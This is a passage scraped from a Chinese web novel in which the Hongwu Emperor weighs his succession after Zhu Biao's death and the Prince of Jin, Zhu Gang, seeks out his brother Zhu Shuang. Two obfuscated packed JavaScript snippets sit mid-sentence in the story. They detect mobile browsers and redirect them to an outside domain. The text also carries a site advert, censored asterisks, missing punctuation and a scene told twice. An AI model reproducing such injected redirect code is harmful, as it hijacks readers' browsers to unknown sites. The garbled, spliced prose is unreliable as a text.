因为这不仅仅是父子间的慰藉,更是一场残酷的抉择。 他最本能的反应,最直接的选择,就是从剩下的儿子里挑一个。 这是他作为一个父亲,最真实,最不假思索的想法。 血脉相连。 亲儿子,总比孙子来得更近。 他从未想过朱允炆,也未想过朱允熥。 那一刻,在他迷茫而悲痛的心里,只有那几个同样姓朱,同样是他看着长大的儿子。 秦王朱樉。 晋王朱棡。 燕王朱棣。 他以为,他们会懂他的痛。 他以为,他们会明白兄长去世,老父垂危,是何等的悲伤。 他以为,他们会第一时间快马加鞭,奔赴京城,跪在他的面前,抱着他的腿痛哭一场。 毕竟,那是他们的亲大哥。 毕竟,他们是血脉相连的亲兄弟。 他等着。 一天。 两天。 三天。 传回来的消息,却是一道比一道更冰冷的利刃。 秦王仪仗未备,行程缓慢。 晋王偶感风寒,需得调养。 燕王整顿兵马,耽搁了时日。 当这些消息一条条摆在他的案头时,朱元璋坐在那里,许久没有动弹。 奉先殿里燃起的最后一丝温情,被这迟来的消息彻底吹散了。 他眼中的悲伤在一点点褪去,浑浊的瞳孔重新变得锐利,深不见底。 他还是那个杀伐果断的洪武大帝。 期待已经变成了失望。 而失望正在凝结成冰冷的审视。 他忽然清醒地认识到他的儿子们早就不再是当年跟在他身后只会啼哭撒娇的小子了。 他们是王。 是手握兵权就藩一方的藩王。 他们有自己的幕僚有自己的军队更有自己那深埋心底不可告人的心思。 这份认知让他的心又是一阵绞痛。 比丧子之痛更复杂的痛楚。 立藩王为储君? 这个念头刚一浮现就被他自己掐灭。 后患无穷! 这个道理他比谁都清楚。一个强大的藩王一旦入主东宫其余的藩王会怎么想?他们会甘心俯首称臣吗? 到时候就不是兄友弟恭而是手足相残! 可若不立他们又能立谁? 这个问题在他的脑海中反复盘旋每一个选项都通向一条死路。 立朱樉? 老二朱樉的脸在他脑海中一闪而过。 不行。 朱元璋的眉头瞬间拧紧。 这个儿子性子太急做事暴躁全凭喜好 那立朱棡? 老三朱棡性格倒是沉稳一些可也正因如此威望、能力都压不住另外两个兄弟。 一旦立了他朱樉不服朱棣更不会服。 兄弟之间的那点脆弱的平衡会瞬间被打破。 那.立朱棣? 当这个名字浮现时朱元璋的呼吸都停滞了一瞬。 老四。 这个儿子最像他。 一样的杀伐果断一样的雄才大略一样的野心勃勃。 可正因为太像了他才更不敢选。 立了朱棣那朱樉和朱棡怎么办?他们会甘心看着这个曾经的弟弟一步登天成为他们的君主吗? 绝无可能。 这三个儿子从来就不是一条心。 老朱根本上的思想还是传统的小农思想 他这一辈子从一个要饭的乞丐一步步走到这九五至尊的位置上什么大风大浪没见过。尸山 血海,他眉头都没皱一下。 可现在,他怕了。 他怕的不是死亡,而是自己死后,这份天大的家业,会顷刻间分崩离析,付之一炬。 归根结底,他骨子里还是那个从淮西走出来的庄稼汉。他一辈子追求的,无非是家人围坐,锅里有饭,儿孙满堂,兄友弟恭。 他最怕看到的,就是兄弟阋墙,骨肉相残。 这个最朴素的愿望,早在他给儿子们取名的时候,就深深地烙了下去。 标儿,老二朱樉,老三朱棡,老四朱棣他希望他们能像一棵大树的枝干,同根同源,相互扶持,共同撑起朱家这片天。 为此,他费尽了心机。 他给每一个儿子都留了后手,给了他们兵权,给了他们封地,给了他们足以自保的实力。 这不是让他们去争,去抢。 这是他这个老农,给每一棵庄稼都浇上足够的水,希望他们都能茁壮成长,而不是一棵独大,其他的全都枯死。 他让他们相互制衡,更希望他们能相互扶持。 老大若是受了委屈,老二老三老四的兵马,就是他最坚实的后盾。 可这份深埋在心底的苦心,又有几人能真正理解? 那些文臣只会说他分封诸王,是动摇国本,是埋下祸根。 他们不懂。 他们不懂他这个父亲的心。 朱元璋的思绪,不由自主地飘回到了过去。 他最看重的,永远是标儿。 这一点,他从不掩饰。 可不仅仅因为标儿是嫡长子。 更是因为,这个家,是标儿撑起来的。 他朱元璋忙着打天下,忙着坐天下,忙着处理那些永远也处理不完的政务。儿子们从小到大的事情,他这个当爹的,有空管吗? 没有。 全都是标儿在管。 朱樉、朱棡、朱棣,这几个小的,说是他朱元璋的儿子,可实际上,却是朱标一手带大的。 是朱标教他们读书写字,是朱标教他们何为兄弟之道。 他朱元璋脾气暴躁,动辄打骂。 那几个臭小子,哪个没被他拿着鞭子抽过?哪个没被他罚跪过祠堂? 朱樉小时候顽劣,差点把马皇后最心爱 的花瓶打碎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453749|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓得躲在柱子后面瑟瑟发抖。 是他。 是标儿挡在他面前,把所有罪责揽到自己身上,替弟弟挨了那顿板子。 朱棣少年时意气风发,顶撞了朝中大将,闹得不可开交。 也是标儿。 是标儿连夜将朱棣叫到东宫,苦口婆心地劝了一整晚,第二天又亲自带着朱棣去给老将军赔罪。 那些挨揍的日子,那些闯祸的瞬间,每一次,都是标儿站出来,用他那并不算宽厚的肩膀,为弟弟们遮风挡雨。 “父皇,弟弟们还小,您息怒。 “父皇,是儿臣没教好他们,您要罚,就罚儿臣吧。 记忆中,标儿温润而坚定的声音,一次次回响在空寂的大殿里。 朱元璋的眼眶有些发烫。 这些尘封的往事,如今想起来,每一个字,每一幅画面,都化作了一把钝刀,在他的心口来回切割,痛得钻心。 所以,只要标儿活着,只要标儿当皇帝,他一百个放心。 朱樉不服?朱棡不服?朱棣不服? 他们心里头,都服! 那份威信,不是靠着嫡长子的身份,而是从无数个日日夜夜里,一点一滴,用真心换真心,积累起来的。 标儿也绝不会亏待他的兄弟们。 那孩子的仁厚,是刻在骨子里的。 他朱元璋是铁,是钢,是用来砸碎旧世界的锤子。 而标儿是玉,是水,是用来滋养新天地的春雨。 把这大明江山交到标儿手上,他放心。 他相信标儿能善待每一个兄弟,能守好这份他拿命换来的家业。 可他**。 那个他寄予了全部希望的儿子,那个他心中最完美的继承人,就那么突然地,撒手人寰。 这个打击,让他这个从尸山血海里爬出来的硬汉,也险些站不稳。 直到今天,午夜梦回,他依然无法接受这个事实。 殿外的风更大了,吹得窗棂砰砰作响。 朱元璋的思绪被拉了回来,重新面对那个冰冷而残酷的现实。 标儿没了,皇位给谁? 将皇位给朱樉? 这个念头刚一冒出来,就被他自己掐灭了。 他太了解自己这个二儿子了。 脾气暴躁性格乖张能力更是远远不够撑起一个偌大的帝国。 最要命的是那深入骨髓的好大喜功。 一旦让他坐上这个位置恐怕第二天就要下令北伐草原南征蛮夷。 又是一个穷兵黩武的主。 大明建国至今满打满算休养生息了还不到三十年。 国库里那点家底他比谁都清楚。 也就是勉强让天底下的老百姓能混个温饱不至于饿死罢了。 在这种时候穷兵黩武? 朱元璋的后背渗出一层冷汗。 那个后果他想都不敢想。 那是要把大明朝的根基都给刨了! 这个责任他担不起。 他朱元璋奋斗一生不是为了让儿子把这份家业给败光的。 以老二的脾性他根本就不是当皇帝的料。 这个判断朱元璋无比确定。 那老三朱棡呢? 朱元璋的眉头微微舒展了片刻旋即又拧得更紧。 老三心性沉稳能力也不错 可问题是他上位老二能服? 这个问题的答案根本不需要思考。 显而易见。 老二绝对不服! 他不仅不服他还会闹会用尽一切手段把老三从那个位置上拉下来。 还有老四。 远在北平的那个儿子也不会服气。 老四那小子心思最深也最像他。一旦看到越过老二立老三的先例他定然会平白生出许多不该有的心思。 这三个活着的儿子没一个是省油的灯。 别看现在老二老三走得近好得能穿一条裤子。 可在那张至高无上的龙椅面前兄弟反目父子相残简直是再正常不过的事情。 权力的滋味他尝了一辈子。 他比谁都清楚在那股力量面前所谓的亲情往往脆弱得不堪一击。 毕竟凡事都要讲个规矩讲个次序。 标儿没了按照嫡长子继承的顺序怎么也该轮到老二。 跳过老二去立老三这本身就是坏了规矩。 老二心里头要是没想法,那才叫见了鬼。 这个道理,他朱元璋再明白不过。 他被自己亲手定下的规矩,死死地困住了。 朱元璋的手指无声地敲击着冰冷的扶手,那股撕心裂肺的痛楚已经沉淀下去,化作了骨头缝里的寒意。 冷静下来了。 当那股足以将人溺毙的悲伤退潮,露出的便是坚硬、冷酷的礁石。 他想明白了。 这其中的盘根错节,这几个儿子心里的鬼蜮伎俩,他全都想明白了。 这个认知,让他感觉到一种久违的无力。一种比面对百万大军更深沉的疲惫,从心脏深处蔓延开来,侵蚀着四肢百骸。 朱棣。 那个儿子,野心最大,心思也最沉。 一双眼睛藏在低垂的眼帘下,你看不到底,也永远猜不透那片深渊里翻涌的是什么。 让他坐上这个位置? 朱元璋的指尖骤然停顿。 他甚至能清晰地看见未来的景象。 朱棣和老二朱樉太像了,骨子里都流淌着征伐与战斗的渴望。大明这架刚刚从战火里拖出来的马车,需要的是休养,是生息,而不是被他们再次驾驭着冲向另一片血腥的战场。 这个念头,与他为大明规划的未来,背道而驰。 这是一个死结,解不开。 更可怕的是,一旦朱棣上位,远在秦地和晋地的朱樉、朱棡会怎么想? 他们会甘心俯首称臣? 不。 绝无可能。 秦王与晋王必然联手,西北的兵锋将直指京师。 到那时,他亲手分封出去的屏障,将变成刺向大明心脏的最锋利的刀。 兄弟反目,手足相残。 龙椅之下,将是白骨累累,血流漂杵。 那个画面,只是在脑中一闪而过,就让朱元璋的呼吸骤然一窒。 这是他最恐惧,最不愿看到的局面。 他建立这个庞大的帝国,不是为了让自己的儿子们将它当作战场,肆意屠戮。 换一个呢? 让老二或者老三上? 结果不会有任何不同。 无论龙椅上坐的是谁,另外两个都绝不会服气。 第100章 我朝中竟有如此人才? 朱棡闻言,身体一颤就要从地上弹起。 动作急了,跪久的双腿不听使唤,他踉跄着向前扑去。 他双手撑地,才稳住身形。 他不敢抬头,把头埋下去,手脚并用退到一旁,站好,垂手躬身。 御书房里没有声音。 空气里是龙涎香和墨锭的气味,他从小闻到大,此刻这味道压得他喘不过气。 每一息都在刀尖上度过。 他感觉到一道视线落在他身上。 那视线落在他身上,让他觉得骨头里都透着风。 他躬着身,不敢动。 脚底板开始发麻,感觉向上蔓延,肌肉里像有针在刺。汗从额角渗出,顺着鬓角滑落,他不敢擦。 时间过得很慢。 “站了半天还没站够?” 那个声音又响起来。 语气里听不出喜怒,朱棡的心脏缩了一下。 来了。 他绷紧肌肉,等着那怒火。 老朱瞥了他一眼,眼神里是不耐烦。 “喜欢站着就去城门口站着,别在咱这碍眼。” 这话砸在朱棡耳中,让他僵住。 话里是驱赶的意思。 可.就这? 这和他想的不一样。没有咆哮,没有怒斥。 比起父亲过去掀翻桌案,这句斥责算不上什么。 朱棡的脑子乱了。 他低着头,眼前的金砖地面看不清了。 “怎么?” 老朱的声音又传来,是在嘲弄。 “还要咱请你坐下不成?” 轰的一声。 朱棡感觉天灵盖被雷劈了一下,四肢没了知觉。 他抬头,眼中是错愕。 他看到了什么? 坐在御案后的父皇,正冲他翻了个白眼。 一个白眼。 那个动作,那个神态,他见过。 朱棡的记忆回到十几年前。 那时他还是个孩子,逃课掏鸟窝被父皇抓到。父皇就是用这种眼神看他,一手叉腰,一手指着他鼻子骂,最后板子举起,又落下。 那是他记忆里为数不多的责罚。 可现在是什么情况? 他 看着老朱,脑子不动了。 父皇向来严苛,今日却不一样。 不对劲。 来之前,他想过各种可能。 废黜王爵,圈禁凤阳。 拖出去廷杖,打个半死。 或者,一杯毒酒了却君恩。 他准备好了,靴子里塞着太医院的金疮药,想着只要留下一条命,就有机会。 从小到大,他就是这么被打过来的。 每次犯错,都免不了一顿板子。有时挨了打,要趴在床上好几天。 可眼前这一幕,和他想的都不一样。 **该怎么办。 这态度 他头皮发麻。 这才哪到哪? 自己只是站了一会儿,跪了一下,动摇国本的罪,就要翻篇了? 可能吗? 自己违抗的是圣旨。 自己晚到了两个月!这两个月,足够让朝野人心不定,足够让无数双眼睛盯着父皇,看他如何处置自己。 难道这是个陷阱? 朱棡的喉结动了一下,喉咙里发出的声音不像自己的。 “父皇,那儿臣.就坐下了?” 他问话时,每个字都在舌尖上滚过,生怕说错。 他的眼睛盯着老朱,想从他脸上看出点什么。 “坐!” 老朱又翻了个白眼,语气里没有耐心。 “怎么?还怕咱杀了你不成?” “儿臣没有。父皇怎么会杀儿臣呢?父皇说笑了。” 朱棡脸上挤出笑容,在旁边的绣墩上坐下。 他屁股只沾一个边,挺直腰背,双手放在膝盖上,像个蒙童。 可他刚说完话,后背就被汗浸透了。 一阵风从殿门吹过,拂过他汗湿的衣衫,他打了个哆嗦。 那句“还怕咱杀了你不成”,落在他心里。 怕。 他怎么不怕? 眼前这个男人,是他的父亲,也是大明的开国皇帝,一个从尸山血海里走出来的天子。 他的喜怒,无人能料。这些年,死在他手下的功臣、贪官,数不过来。 被责罚的记忆,廷杖落下的响声,同僚被拖出大殿的哀嚎,涌上心头。 他毫不怀疑父皇要他死他活不过今天。 就在朱棡胡思乱想时老朱开口了语气像是忘了刚才的话。 “既然回来了就在京城先住一阵。” “去找老二老四说说话。” “对了朝廷里多了个人咱封了他当中兴侯和老二走得近你也去看看。” 老朱在吩咐家里的事像一个父亲嘱咐回家的儿子。 朱棡的大脑停转了。 他回应道:“是儿臣遵旨。” 接下来老朱和朱棡说起了家常。 他问朱棡在封地上的事问民生问屯田还问了王妃的身体。 之后又说了说朝廷的现状。 整个过程老朱的语气没有起伏。 这种交谈让朱棡无法安坐。他甚至怀疑自己心跳过快产生了幻觉。 他回答问题时身体不敢动每个字都斟酌怕说错话打破这片平静。 不知过了多久谈话结束了。 老朱挥了挥手让他出了御书房。 朱棡走出大殿直到阳光照在脸上他才回过神来。 他低头看了看自己的手又摸了摸后背。 没有伤口没有血。 他就这么出来了? 这个结果出乎朱棡的预料。 朱棡走出了御书房。 身后的门闭合最后“哐”的一声隔绝了门内的世界。 天光照了下来。 晨曦穿透宫殿檐角刺得他眼角发酸。 暖意铺在脸上驱散了御书房的寒气。可朱棡的四肢依旧没有温度。 他站在原地一动不动 自己就这么出来了? 没有廷杖没有斥骂没有处罚。 这怎么可能? 朱棡站在台阶上吸了一口气。 空气涌入肺腑带着松柏香却让他胸口发闷。 他原本以为等待自己的是至少几十廷杖打得皮开肉绽筋骨寸断。 他在入京之前就已经将一切都算到了最坏的地步。 他做好了重罚的准备。 做好了伤残的准备。 甚至连后续如何养伤如何向封地的 臣属解释,都提前在脑中反复推演过。 可入宫之后,发生的这一切,完全颠覆了他的认知。 父皇只是平静地问了话,平静地听着,最后,平静地让他退下。 这种反常,这种与他记忆中那个暴戾君父截然不同的温和,让他心里最后的一点底气都烟消云散。 未知的,才是最恐怖的。 比起一顿能看见伤口的毒打,这种深不见底的平静,更像是一场酝酿中的风暴,让他坐立难安。 朱棡刚稳住心神,眼角的余光就瞥见了一道人影。 御书房的廊柱阴影下,站着一个人。 蒋瓛。 这位新任的锦衣卫指挥使,穿着一身飞鱼服,腰佩绣春刀,静静地站在那里,身形笔挺,气息内敛。 他整个人都仿佛融入了宫殿的阴影里,若不是主动去看,根本无法察觉他的存在。 一尊没有生命的雕像。 朱棡的瞳孔微微收缩。 他与蒋瓛不熟,仅有的几次见面,还是在数年前的朝会上,远远看过一眼。 对于锦衣卫都指挥使这个位置,朱棡的印象还死死地钉在**骧那个名字上。 一个能让皇子彻夜惊醒的名字。 一个代表着血腥、拷掠与死亡的名字。 正当朱棡思索着是否该上前打个招呼时,那个影子动了。 蒋瓛从阴影中走出,主动迎了上来。 “见过晋王殿下。” 他的声音不高不低,没有谄媚,也没有倨傲,只有一种恰到好处的恭敬。 论地位,朱棡是亲王,是君。蒋瓛是臣。 于情于理,都该是蒋瓛主动上前拜见。 这个礼节,他把握得分毫不差,既全了君臣之礼,又没有显得过分热络。 “蒋指挥使?” 朱棡看着眼前的蒋瓛,心中无数念头急速翻涌。 他为什么会在这里? 是父皇的命令,让他等在这里监视自己的反应?还是说,这本身就是父皇设下的另一道考验? 一瞬间,朱棡刚刚稍稍放下的心,又一次悬到了喉咙口。 他看着蒋瓛那张看不出任何情绪的脸,眼珠一转,一个极其大胆的念头冒了出来。 他 决定赌一把。 “父皇最近.可正常?” 这个问题他问得极轻也极为含蓄。 每一个字都经过了深思熟虑既像是一句随口的关心又像是一把探向深渊的钩子。 正常? 什么叫正常? 对于那位皇帝陛下而言雷霆震怒是正常还是如今这般温和是正常? 话音落下周遭的空气似乎都停滞了一瞬。 蒋瓛脸上的表情出现了一丝极细微的凝固。 他愣住了。 旋即他笑了。 这个笑容很淡却意味深长瞬间打破了他脸上那层雕塑般的伪装。 他当然明白朱棡这句没头没尾的问话背后藏着何等惊涛骇浪。 这些日子以来类似的问题用各种或明或暗的方式他已经听过、感受过不止一次了。 从那些战战兢兢的内阁大学士到谨小慎微的六部尚书再到今天这位刚刚从鬼门关走了一遭的晋王殿下。 所有人都感觉到了。 陛下的天变了。 老朱以前是什么脾性蒋瓛作为贴身护卫比谁都清楚。 说杀就杀说剐就剐。上一刻还在和你谈笑风生下一刻可能就因为一句话让你人头落地。 那才是他们熟悉的洪武大帝。 如今的老朱和以前的老**比说是完全不同的两个人也毫不为过。 这种翻天覆地的变化连他这个日夜跟在身边的人最初都感到心惊肉跳夜不能寐。 他生怕这是陛下在风暴来临前的伪装。 别人或许会以为 这宽和只是表象。 表象之下是即将吞噬一切的汹涌暗流。 这种猜测在朝中私底下几乎是所有人的共识。 但只有蒋瓛知道。 只有他一个人知道这一切的根源不在于什么丧子之痛而在于那个叫朱煐的皇孙。 这个秘密是天大的秘密。 是他蒋瓛如今安身立命的最大依仗也是悬在他头顶最锋利的一把刀。 他必须守口如瓶。 一个字都不能泄露。 听着朱棡这句几乎是在用身家性命试探的问话蒋瓛心中念头百转脸上的笑容却愈发和煦。 “陛下的脾气是见好了。” 他先是肯定了朱棡的观察没有否认这让他的话立刻就有了可信度。 然后他看着朱棡紧张到发白的脸一字一顿地说道: “晋王放心。” “陛下很正常。” 这句话他说得斩钉截铁坦然无比。 仿佛他说的不是那位**如麻的帝王而是一个再寻常不过的、脾气变好了的老人。 呼. 一口悠长的气息从朱棡的胸膛里不受控制地吐了出来。 直到这一刻他才发觉自己的后背早已被冷汗浸透紧紧贴在皮肤上一片湿冷。 蒋瓛的话就如同定海神针瞬间平息了他心中所有的惊涛骇浪。 锦衣卫指挥使皇帝身边最亲近的爪牙。 他的话就是父皇意志的延伸。 他说正常那就一定是正常。 这个答案让他心中的大石终于落地。 宫门前的冷风灌入领口激得朱棡打了个寒颤却丝毫无法冷却他脑中翻腾的热浪。 与蒋瓛那番简短却信息量巨大的交谈每一个字都化作滚石在他心底反复碾压。 父皇。 那个多疑、严苛用铁腕将整个大明江山牢牢攥在手心的父皇变了。 这不是他的猜测而是从蒋瓛——那条父皇最忠诚的鹰犬口中得出的确凿无疑的结论。 这个认知让朱棡的四肢百骸都窜过一阵陌生的战栗。 他必须找个人谈谈。 必须! 这个念头甫一升起一个名字便占据了他全部的思绪。 朱樉。 他的二哥。 朱棡没有片刻耽搁翻身上马的动作干净利落带起一阵劲风。马鞭在空中甩出一声脆响坐骑嘶鸣一声四蹄翻飞朝着京城里那座临时的秦王府邸疾驰而去。 车轮与青石板路的碰撞声街边小贩的吆喝声行人的避让声此刻都成了模糊的背景音。朱棡的视野里只有前方那条笔直的道路以及道路尽头那个能为他解惑的地方。 秦王府。 作为藩王在京的临时落脚点这座府邸并非按照亲王规制专门修建。它没有封地王府的巍峨与森严只是一座前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453750|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝勋贵留下的大宅院被内务府收拾出来挂上了秦王府的牌匾。 即便如此高大的门楼门前威武的石狮以及那朱漆大门上熠熠生辉的铜钉依旧彰显着主人的不凡身份。 气派但不奢华。 这很符合父皇一贯的作风哪怕是对自己的儿子也绝不见丝毫铺张。 朱棡在府门前勒住缰绳健马人立而起发出一声长嘶。他甚至没有等待门房通报直接从马背上一跃而下将缰绳随手丢给一个迎上来的亲卫便大步流星地向府内闯去。 “三殿下!” “是晋王殿下!” 府中的下人、护卫见到来人纷纷躬身行礼却无一人敢上前阻拦。 整个京城谁不知道秦王朱樉与晋王朱棡是从小穿一条裤子长大的亲兄弟。晋王殿下进秦王府就和回自己家一样谁敢拦那是自讨没趣。 更何况这位晋王殿下的脾气可远不如秦王殿下那般随和。 朱棡对周遭的问安声充耳不闻他的脚步没有丝毫停顿径直朝着内院朱樉的卧房走去。 这份焦灼这份急切源于他心中那个巨大的谜团。 父皇为什么会变? 这种变化大到了让他感到陌生的地步。 在御书房门口他不能问蒋瓛。 蒋瓛是锦衣卫都指挥使是父皇的刀是父皇的眼。与他讨论君父的性情无异于将自己的脖颈送到刀刃下试探锋芒。 这个分寸朱棡把握得极其精准。 所以他需要朱樉。 只有在自己这位二哥面前他才能毫无顾忌地将心底的惊涛骇浪尽数倾吐。 穿过回廊踏入内院一股若有若无的酒气混杂着菜肴的余香 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节)飘入朱棡的鼻腔。 他眉头微皱。 这味道他熟悉。 昨夜皇孙朱煐府上的庆功宴京中的勋贵皇亲几乎都去了。场面极大气氛更是热烈。 想来自家二哥定是又喝到了尽兴。 果不其然当朱棡一把推开朱樉卧房的大门时一股更浓郁的酒气扑面 而来。 房间里光线昏暗,窗户被厚重的帘子遮得严严实实。 宽大的床榻上,一个人影四仰八叉地躺着,被子被踹到了床脚,发出的鼾声如同拉风箱,颇有节奏。 不是朱樉又是谁。 朱棡的嘴角抽动了一下。 这家伙,昨夜怕是闹到了后半夜。 宴席上的酒水虽然都是些低度数的果酒米酿,可架不住喝得多,灌得猛。 今天一早的朝会,朱樉铁定是没去。 旷工。 这个词放在以前,足以让父皇龙颜大怒,一顿板子都是轻的。 可现在. 朱棡的脑海里,又浮现出蒋瓛那张古井无波的脸,以及他口中说出的事实——陛下今日并未追究任何一位缺席的臣子。 睁一只眼,闭一只眼。 这份宽容,这份纵容,放在过去任何一天,都是天方夜谭。 不可想象。 朱棡心头的困惑与烦躁愈发浓重,他大步走到床边,没有丝毫客气,直接一脚踹在了床沿上。 “咚!” 一声闷响。 床榻上的人只是翻了个身,砸吧砸吧嘴,继续酣睡。 “老二!” 朱棡提高了音量,声音在寂静的卧房里显得格外响亮。 “起来!” 他直接伸手,抓住了朱樉搭在床边的胳膊,用力摇晃。 “老二!日上三竿了!” 被他这么一搅和,床上的朱樉终于有了反应。他迷迷糊糊地睁开一条眼缝,眼神涣散,显然酒意还未彻底消散。 “谁啊.吵**.” 他含糊不清地嘟囔着,想要把自己的胳膊抽回来。 “我!” 朱棡没好气地又加重了几分力道。 熟悉的声音终于让朱樉的意识清醒了几分。他努力地睁大眼睛,看清了床边站着的人影。 “老三?” 朱樉的声音沙哑,带着宿醉后的疲惫。 “你怎么来了?” 他挣扎着想要坐起来,却感觉脑袋一阵针扎似的疼,又重新跌了回去。 “我再不来,你是不是打算睡到明天去?” 朱棡松开手,看着他那副没出息的样子 ,气不打一处来。 可这股气,很快就被心底更深沉的疑惑所取代。 他有太多的话要问,太多的事要确认。 而眼前这个醉眼惺忪的家伙,是他唯一的突破口。 朱棡直接闯进了朱樉的府中,这秦王府的下人哪里拦得住朱棡?这位晋王殿下的脾气,他们再清楚不过。 当然,也不用拦着,以两人的关系,私下里经常见面。这份亲密,朝中尽人皆知。 天家规矩,藩王不得擅自离京。 这八个字,是悬在所有龙子龙孙头顶的一柄利剑。 然而,规矩是死的,人是活的。 何为“擅自 无诏而动,便是擅自。 那若是有事呢?这个“事,可大可小,可真可假,全凭一道圣心裁决。 再者,若是天子自己都不计较呢? 当今那位高**的父皇,对自己的儿子们,尤其是早年跟着他打江山的这几个,总有几分法外之情。只要不碰谋逆那条红线,些许走动,些许私会,他大可睁一只眼闭一只眼。 这份默契,便成了朱家兄弟间心照不宣的特权。 晋王朱棡的车驾,就是趁着夜色掩护,悄无声息地驶入京城的。没有仪仗,没有通传,仅一队亲卫护送,熟门熟路地停在了秦王府的侧门。 守门的亲兵见到来人,甲胄下的身躯猛地一震,旋即躬身行礼,连大气都不敢喘。 “开门。 朱棡的声音不高,却透着一股不容置疑的威严。 他甚至没有多看那些亲兵一眼,因为他认得他们,他们都是他二哥朱樉的心腹。而这些人,也早就习惯了他的突然到访。 厚重的木门被无声地拉开,朱棡大步流星地踏入府中。 秦王府的布局,他闭着眼睛都能走个来回。自幼时起,这里便是他除了皇宫和自己府邸之外,最熟悉的地方。 他没有走向灯火通明的前厅,而是径直穿过回廊,绕过一片栽着芭蕉的庭院,脚步没有丝毫停顿,直奔后院的寝殿。 沿途遇到的仆役侍卫,见到他的身影,无不躬身退至一旁,连头都不敢抬。 整个王府,安静得只剩下他一个人的脚步声。 越是靠近寝殿,一股震耳欲 第101章 亲自登门 “这是自然,我还能说谎不成?” 朱樉的声音带着愉悦,尾音上挑。 这句话让朱棡的神经断了。 他喉结滚动,想咽唾沫,喉咙里却只有干涩。 嘴巴张了又合,一个字也说不出来。 大脑一片空白,只有那个数字,那个沾着血和铜钱的数字,在他脑中冲撞、轰鸣。 四百六十三万两。 看着朱棡的样子,朱樉心里畅快。 他端起桌上的青瓷茶盏,指尖传来温度,却没有喝。 他只是用杯盖一下一下,极有韵律地撇着浮在水面的茶叶,目光则一瞬不瞬地锁在朱棡的脸上,贪婪地品味着对方从震惊到呆滞,再到自我怀疑的每一个细微表情。 这种感觉太美妙了。 作为先一步踏入京城,亲眼见证了这滩浑水是如何被搅动的‘先行者’,朱樉此刻正尽情享受着为后来者布道的快感。 这种独占了核心信息的优越感,让他每一个毛孔都舒张开来,连带着说话的兴致也愈发高昂。 朱棡当然明白。 他比谁都清楚,这种事情,二哥朱樉是断然不可能拿来开玩笑的。 皇家兄弟之间可以有倾轧,可以有算计,但在这种足以动摇国本的大事上,没人会信口雌黄。 可理智是一回事,情感上的接受,却是另一回事。 当朱樉再一次给出肯定的答复时,那份确认非但没有让他平静,反而掀起了更加狂暴的骇浪。 震撼。 这个词已经不足以形容朱棡此刻的心情。 那是一种世界观被强行撕裂,然后又被粗暴地揉捏重塑的错乱感。 简直离谱! 彻头彻尾的离谱! 一个人的力量,在短短几天时间里,就从那些视财如命,恨不得一个铜板掰成两半花的商贾手中,硬生生剜出了四百六十三万两白银? 这怎么可能做到? 这不是去抢,抢都没这么快! 那些大商贾,哪一个不是人精中的人精,背后盘根错节,牵连着无数朝中官员。想从他们口袋里掏钱,不啻于与虎谋皮。 更何况是这笔钱。 朱煐那个在他们兄弟印象中,话很少的十二弟。 他到底用了什么手段? “这朱煐” 朱棡终于找回自己的声音,只是嗓子沙哑。 他猛地抬头,眼睛里布满血丝,盯住朱樉。 “他是怎么做到的?” 他的眼神里,除了不信,还有恐惧,以及对这股力量的探究。 朱樉微微一笑。 他放下了手中的茶盏,瓷器与桌面碰撞,发出“哒”的一声。 这声音在房中响起,像一个信号。 他等这个问题,已经等了一阵。 朱樉清了清嗓子,像说书人登台前的起势。他调整了一下坐姿,身体微微前倾,整个人的气场随之改变。 他收敛了笑意,神情严肃起来。 “想知道?” 他压低了声音。 “这件事,说来可就话长了” 当即,朱樉便将朱煐做的事,给朱棡复述了一遍。 他的语调有起有落,陈述事实。 讲到商贾们掉入陷阱、捶胸顿足的场景时,他声音也高了起来。 他讲到要紧处,会伸出手在空中比划,眼睛里有光。 他讲的时候,不像是在转述,倒像是亲身参与了那场豪赌。 一切都讲完了。 朱樉脸上的笑意加深,他端起茶杯,吹开浮沫,视线却没有离开对面的三弟。 他看着他。 欣赏着他脸上的震惊与茫然。 这个反应,和他预想的一样。 晋王朱棡,向来稳重。泰山崩于前而色不变,是朝野对他的评价。他见过沙场,经历过朝堂,没什么能让他变了脸色。 可现在,他整个人都僵住了。 指节捏着茶杯,却感受不到温度。 周遭的声音仿佛都消失了,唯有朱樉的话,化作雷声,在他的脑海中炸响。 过了一会儿。 朱棡紧绷的身体才松动下来。 他吐出一口气。 思路,需要梳理。 这个世界,需要认识。 他将朱樉的话在脑中过了一遍,试图找出破绽。 可结果,却让他心头一跳。 “啧。” 一声咂舌,从朱棡的唇间逸出。 这个动作泄露了他内心的不平静。 “啧啧啧” 他忍不住又重复了一遍声音里带着感慨。 “这位朱御史还真是个人物!” “倒也没有想到这些商贾.居然有这么多钱!” 两句话道出了他心里的震动。 而这两点每一点都颠覆了他过往的认知。 第一个是朱煐。 一个御史竟然能从商贾手中弄到四百六十三万两白银! 四百六十三万两! 朱棡的脑子转动起来计算这个数字的概念。 大明一年的国库岁入是多少? 刨除实物、漕粮能调动的现银一年到头也不过二三百万两。 这个数字几乎相当于大明两年的纯银收入! 用这笔钱可以支撑起一支十万人的大军北伐一整年的所有开销。 用这笔钱可以彻底免掉整个北直隶两年的赋税让千万百姓休养生息。 而朱煐只用了短短几日就办到了。 这简直不是人力所能及这是神迹! 不比神迹更可怕! 